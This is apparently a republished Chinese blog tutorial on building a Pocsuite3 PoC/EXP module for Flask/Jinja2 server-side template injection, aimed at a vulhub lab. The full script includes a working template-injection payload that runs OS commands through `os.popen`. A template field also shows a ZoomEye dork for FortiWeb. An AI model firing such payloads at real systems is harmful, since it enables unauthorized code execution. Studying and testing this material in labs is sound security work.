Pocsuite3框架POC/EXP编写练习:Flask(Jinja2) 服务端模板注入漏洞

news2025/1/17 6:12:57

Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架。可以用来编写POC/EXP,今天借助Flask框架下的SSTI漏洞练习记录一下Pocsuite3框架的配置和编写过程。

官方文档:Pocsuite3 是什么? | Pocsuite3

安装

 1.直接pip安装:

pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3

安装完之后记得检查一下版本:

pocsuite -version

 2.通过zip包安装:

wget https://github.com/knownsec/pocsuite3/archive/master.zip

unzip master.zip

cd pocsuite3-master

pip3 install -r requirements.txt

python3 setup.py install

 以上方法任选一种。

POC编写流程

借助Flask(Jinja2) 服务端模板注入漏洞练习一下POC的编写过程,关于这个漏洞可以看:

Flask(Jinja2)服务端模板注入漏洞(SSTI)整理_plexming的博客-CSDN博客

详细不多说了,这里主要记录POC编写过程,网站环境使用的是vulhub中ssti相关环境:

首先新建一个.py文件,导入相关模块,构造POC实现类,名字根据实际用途取,继承自POCBase类:

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptString


class FlaskPOC(POCBase):
    ···

然后认真填写 PoC 信息字段,这是官方给出的所有信息字段:

    vulID = '99335'  # Seebug 漏洞收录 ID,如果没有则为 0
    version = '1'  # PoC 的版本,默认为 1
    author = 'seebug'  # PoC 的作者
    vulDate = '2021-8-18'  # 漏洞公开日期 (%Y-%m-%d)
    createDate = '2021-8-20'  # PoC 编写日期 (%Y-%m-%d)
    updateDate = '2021-8-20'  # PoC 更新日期 (%Y-%m-%d)
    references = ['https://www.seebug.org/vuldb/ssvid-99335']  # 漏洞来源地址,0day 不用写
    name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)'  # PoC 名称,建议命令方式:<厂商> <组件> <版本> <漏洞类型> <cve编号>
    appPowerLink = 'https://www.fortinet.com'  # 漏洞厂商主页地址
    appName = 'FortiWeb'  # 漏洞应用名称
    appVersion = '<=6.4.0'  # 漏洞影响版本
    vulType = 'Code Execution'  # 漏洞类型,参见漏洞类型规范表
    desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入'  # 漏洞简要描述
    samples = ['http://192.168.1.1']  # 测试样列,就是用 PoC 测试成功的目标
    install_requires = ['BeautifulSoup4:bs4']  # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
    pocDesc = ''' poc的用法描述 '''
    category = POC_CATEGORY.EXPLOITS.WEBAPP  # PoC 的分类
    protocol = POC_CATEGORY.PROTOCOL.HTTP  # PoC 的默认协议,方便对 url 格式化
    protocol_default_port = 8443  # 目标的默认端口,当提供的目标不包含端口的时候,方便对 url 格式化
    dork = {'zoomeye': 'deviceState.admin.hostname'}  # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。
    suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";'''  # 请求流量 suricata 规则
    suricata_response = ''  # 响应流量 suricata 规则

字段非常多,不过从 1.9.8 版本开始,基类 POCBase 为 PoC 的所有属性设置了默认值,所以我们并不需要把所有字段都写下来,选择需要的甚至一个不写也没关系,当然为了区分POC建议提供一些基本的属性,这里随便写几个:

author = ['plexming']
name = 'flask ssti'
desc = '''ssti模板注入漏洞POC'''

然后就是重写相关方法了,首先是verify方法,关于漏洞验证的方法写在这里,SSTI漏洞我们可以传一个{{7*7}}来验证一下:

def _verify(self):
    result = {}
    path = "/?name="   # 参数
    url = self.url+path
    payload = "{{7*7}}"  # payload
    r = requests.get(url+payload)
    # 验证成功输出相关信息
    if r and r.status_code == 200 and "49" in r.text:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.url
        result['VerifyInfo']['Name'] = payload

    return self.parse_output(result)

还有attack方法,EXP脚本需要写在这里:

EXP编写流程

EXP编写和POC是一样的,无非就是一个写在verify方法里一个写在attack方法里,这里简单执行一个系统命令:

    def _attack(self):
        result = {}
        path = "/?name="
        url = self.url + path
        payload = "{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}"
        r = requests.get(url + payload)
        if r and r.status_code == 200 and "www" in r.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Name'] = payload
            result['VerifyInfo']['Resp'] = r.text

        return self.parse_output(result)

运行POC 

首先进入刚刚写好的.py文件所在目录,输入命令:

pocsuite -r ./flask_ssti.py -u http://0.0.0.0:8000 --verify

-r后面是.py文件名,-u后面是要攻击的网站最后--verify表示执行POC验证,同理如果是--attack就是执行EXP:

 可以看到成功执行的结果。同样的,执行EXP效果如下:

 完整脚本示例

完整代码如下,仅供参考。

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptString


class FlaskPOC(POCBase):
    author = ['plexming']
    name = 'flask ssti'
    desc = '''ssti模板注入漏洞POC'''

    # def _options(self):
    #     o = OrderedDict()
    #     o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)
    #     o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)
    #     return o

    def _verify(self):
        result = {}
        path = "/?name="
        url = self.url+path
        payload = "{{7*7}}"
        r = requests.get(url+payload)
        if r and r.status_code == 200 and "49" in r.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Name'] = payload

        return self.parse_output(result)

    def _attack(self):
        result = {}
        path = "/?name="
        url = self.url + path
        payload = "{{''.__class__.__base__.__subclasses__()[168].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}"
        r = requests.get(url + payload)
        if r and r.status_code == 200 and "www" in r.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Name'] = payload
            result['VerifyInfo']['Resp'] = r.text

        return self.parse_output(result)


register_poc(FlaskPOC)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/435319.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小黑继续跟着沛奇老师学携程:携程基础3

3.异步编程 3.1事件循环 理解成一个死循环&#xff0c;去检测并执行某些代码 # 伪代码任务列表 [任务1&#xff0c;任务2&#xff0c;任务3&#xff0c;...] while True:可执行的任务列表&#xff0c;已完成的任务列表 去任务列表中检查所有任务&#xff0c;将可执行和已完…

安装、启动和登陆doccano

一、安装 1、使用的Pycharm安装的doccano 2、初始化数据库 doccano init 3、创建用户名和密码 # admin是用户名&#xff0c;pass是密码&#xff0c;都可以自定义 doccano createuser --username admin --password pass 二、启动 1、在一个Terminal终端启动webserver服务 …

自适应控制专栏目录及介绍

目录 自适应控制专栏目录及介绍第一篇&#xff1a;[具有不确定参数系统的自适应跟踪控制设计_ADi_hhh的博客-CSDN博客](https://blog.csdn.net/qq_45830323/article/details/129713051)第二篇&#xff1a;[&#xff08;SISO&#xff09;单输入单输出系统的模型参考自适应控制_A…

cdh Hue集成sentry的权限管理详细步骤

hue登录hue的第一个用户要用hue用户创建,默认hue为超级用户,hue用户页面的权限可以管理很多用户操作,比如查看hdfs目录,使用其他组件,授权功能等等 一.hive的配置 1.关闭模拟,开启sentry 2.添加配置(注意配置的位置) <property> <name>sentry.hive.tes…

【C++11】lambda表达式

目录 lambda表达式 1.1 lambda表达式出现的原因 1.2 lambda表达式语法 1.3 函数对象与lambda表达式 lambda表达式 1.1 lambda表达式出现的原因 在C98中&#xff0c;如果想要对一个数据集合中的元素进行排序&#xff0c;可以使用 std::sort 方法 测试代码 #include <…

苹果撤离中国市场?中国市场太重要,印度制造是备胎

苹果在中国之行后&#xff0c;却计划进一步扩大印度制造iPhone的比例&#xff0c;甚至将iPhone15全数交给印度制造&#xff0c;业界因此认为苹果正在离开中国市场&#xff0c;然而这完全是臆想&#xff0c;中国市场对苹果来说仍然非常重要&#xff0c;它不会轻易舍弃这个市场。…

【Unity VR开发】结合VRTK4.0:添加碰撞忽略器

语录&#xff1a; 最远的旅行&#xff0c;是从自己的身体到自己的心&#xff0c;是从一个人的心到另一个人的心。坚强不是面对悲伤不流一滴泪&#xff0c;而是擦干眼泪后微笑面对以后的生活。 前言&#xff1a; 模块化提供了一种允许两个或者多个对象忽略彼此碰撞的方法&#x…

Logstash:多管道配置

我们大多数人已经熟悉 Elastic 产品。 在此博客中&#xff0c;我们将逐步介绍配置 Logstash 以使用多个管道摄取和处理数据的步骤。 Logstash 是一种开源数据处理管道&#xff0c;可让你摄取、转换和输出数据。 它是从各种来源收集和处理大量数据的强大工具&#xff0c;可用于管…

IP协议头

IP 4位版本号&#xff08;version&#xff09;4位头部长度&#xff08;header length&#xff09;8位服务类型&#xff08;Type Of Service&#xff09;16位总长度&#xff08;total length&#xff09;16位标识&#xff08;id&#xff09;3位标志字段13位分片偏移&#xff08;…

Spring的循环依赖

什么是循环依赖&#xff1f; 循环依赖其实就是循环引用&#xff0c;也就是两个或者两个以上的 bean 互相持有对方&#xff0c;最终形成闭环。比如 A 依赖于 B&#xff0c;B 依赖于 C&#xff0c;C 又依赖于 A。如下图&#xff1a; 注意&#xff0c;这里不是函数的循环调用&…

金陵科技学院五年一贯制专转本计算机应用基础考试大纲

金陵科技学院五年一贯制专转本计算机应用基础考试大纲 一、参考书目&#xff1a; 《大学计算机信息技术教程》&#xff0c;张福炎&#xff0c;孙志挥&#xff0c;南京大学出版社&#xff0c;《全国计算机等级考试一级教程计算机基础及MS Office应用》&#xff0c;教育部考试中…

书写我的人生回忆录-这应该是给子女和父母最好的礼物

作为一个业余的软件开发爱好者&#xff0c;我又捣鼓了一个有意思的小东西 &#xff0c;使用完全免费哈 您可以是以子女的身份帮助父母来完成这份回忆录&#xff1a; 《书写我的人生回忆录》是一款软件&#xff0c;其中包含70个问题&#xff0c;涵盖了父母的个人喜好、家庭、工…

关于图床使用

安装windows终端 Windows 终端安装 | Microsoft Learn 安装oh-my-posh 安装scoop &#xff08;后续都使用PowerShell 7.2.10&#xff09;&#xff1a; > Set-ExecutionPolicy RemoteSigned -Scope CurrentUser # Optional: Needed to run a remote script the first ti…

代谢组学-南京医科大学胡志斌团队绘制心脏发育全周期多组学图谱

文章标题&#xff1a;Multi-omics profifiling visualizes dynamics of cardiac development and functions 发表期刊&#xff1a;Cell Reports 影响因子&#xff1a;9.995 作者单位&#xff1a;南京医科大学 百趣提供服务&#xff1a;发现代谢组学HD-MIX版 百趣代谢组学分…

教你用Python破解WiFi,流量自由不再是梦!(附完整源码)

目录 一、准备工作二、编写代码三、展示测试结果四、生成密码本&#xff08;建议自己找一个密码本&#xff09; 一、准备工作 工具&#xff1a;python 二、编写代码 在桌面新建一个文件 如果你新建的文件没有后缀名.txt&#xff0c;请进行如下设置 打开刚刚新建的文件&#…

pg数据库安装

pg数据库安装 下载对应的安装包 安装服务 使用安装包直接安装 rpm -ivh postgresql13-libs-13.1-3PGDG.rhel7.x86_64.rpm rpm -ivh postgresql13-13.1-3PGDG.rhel7.x86_64.rpm rpm -ivh postgresql13-server-13.1-3PGDG.rhel7.x86_64.rpm rpm -ivh postgresql13-contrib-…

NEUQACM双周赛(五)

文章目录 L1-1 计算摄氏温度&#xff08;C&#xff09;输入格式:输出格式:解题思路&#xff1a; L1-2 查验身份证&#xff08;C&#xff0c;模拟&#xff09;输入格式&#xff1a;输出格式&#xff1a;输入样例1&#xff1a;输出样例1&#xff1a;输入样例2&#xff1a;输出样例…

如何与TSC建立 EDI 连接?

Tractor Supply Co.&#xff08;以下简称TSC&#xff09;是美国一家农业和家畜用品零售公司&#xff0c;在美国各地拥有超过1,900家门店&#xff0c;提供各种农业、家畜、园艺和家居产品&#xff0c;包括动物饲料、草坪和花园用品、农业机械、工具和配件等。 通过EDI&#xff…

Linux用户权限——sudoers的深入剖析

一、sudo权限的配置 root账号登录系统不会记录root账号做了什么操作。 su虽然不记录以root执行了哪些命令&#xff0c;但会创建一条日志记录谁在什么时候变成了root。而su切换为root身份&#xff0c;仍然有很大的无法受控的权限&#xff0c;因此sudo是一个更好的选择。 sudo命令…

【面试题】JavaScript 的 8 种数据类型总结

JavaScript 数据类型 本文将介绍 JavaScript 的 8 种数据类型&#xff0c;结合代码对每种数据类型进行总结归纳。 一、数据类型 最新的 ECMAScript 标准定义了 8 种数据类型&#xff1a; 1.七种基本数据类型&#xff1a; 布尔值&#xff08;Boolean&#xff09;&#xff0…